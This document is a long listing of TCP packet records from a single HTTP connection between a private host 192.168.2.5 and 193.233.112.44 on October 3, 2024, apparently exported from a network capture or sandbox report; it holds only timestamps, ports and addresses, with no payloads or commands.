Oct 3, 2024 23:17:06.947741032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.947753906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.947778940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.947815895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.947849989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.947882891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.947916031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.947947025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.947947025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.947959900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.947976112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948012114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948045015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948048115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948081970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948118925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948132038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948149920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948184967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948185921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948225021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948230982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948271990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948291063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948385954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948420048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948441982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948453903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948467016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948488951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948508978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948525906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948544979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948560953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948581934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948599100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948611975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948636055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948648930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948673964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948692083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948713064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948726892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948766947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948837996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948874950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.948895931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.948931932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949017048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949050903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949071884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949103117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949105024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949139118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949157953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949173927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949192047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949208975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949229002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949243069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949263096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949280024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949301004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949314117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949338913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949348927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949368000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949389935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949408054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949424982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949439049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949460983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949480057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949496031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949511051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949552059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949805975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949913979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949918032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949949026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.949961901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.949981928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.950004101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.950033903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.973845959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.973897934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.973936081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:06.973954916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:06.974009037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.064425945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064449072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064465046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064480066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064496040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064548969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.064635038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.064685106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064718962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064734936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064749002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064762115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.064764977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064779997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064795017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064809084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064825058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.064850092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.064954042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065049887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065066099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065083981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065108061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065140963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065227032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065242052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065256119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065269947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065278053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065285921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065299988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065304041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065320015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065321922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065335989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065347910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065347910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065351963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065367937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065375090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065375090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065383911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065396070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065422058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065422058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065839052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065855026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065896988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065896988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.065970898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.065987110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066000938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066015959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066029072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066029072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066030979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066049099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066056013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066056013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066066027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066076040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066083908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066092968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066099882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066113949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066117048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066133976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066142082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066142082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066160917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066179037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066771984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066787958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066802979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066817045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066828966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066829920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066833973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066850901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066857100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066857100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066867113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066884041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066885948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066885948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066900969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066905975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066916943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066931009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066931009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066932917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066948891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066950083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066966057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.066986084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.066986084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067006111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067634106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067650080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067665100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067678928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067686081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067694902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067694902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067712069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067723036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067728043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067743063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067749023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067759991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067768097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067776918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067790985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067792892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067802906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067811012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067823887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067828894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067837954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067847013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067853928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067864895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.067878008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067890882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.067931890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068437099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068454027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068469048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068487883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068501949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068507910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068593025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068608999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068623066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068638086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068638086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068653107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068655968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068666935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068672895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068686962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068691015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068696976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068708897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068717957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068727016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068732023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068744898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068752050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068762064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.068766117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068787098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.068799019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.069387913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.069405079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.069420099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.069436073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.069438934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.069449902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.069452047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.069473982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.069495916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.090709925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.090780973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.090806007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.090816975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.090852022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.090852976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.090889931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.090904951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.090929985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.090948105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.091027975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.181492090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181525946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181550980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181566000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181581974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181596994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181612015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181631088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181639910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.181730032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.181730032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.181935072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181962967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181979895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.181999922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182018042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182018995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182034969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182051897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182073116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182084084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182121038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182252884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182284117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182317972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182318926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182339907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182383060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182404041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182439089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182456017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182473898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182488918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182508945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182532072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182550907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182574034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182625055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182630062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182660103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182677031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182693958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182701111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182729006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182745934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182764053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182770967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182799101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182811022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182832956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182847977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182868004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182887077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182903051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182904959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182938099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.182948112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.182991028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183332920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183367968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183432102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183433056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183433056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183466911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183490992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183501959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183511019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183537006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183553934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183572054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183578014 CEST	49710	80	192.168.2.5	193.233.112.44
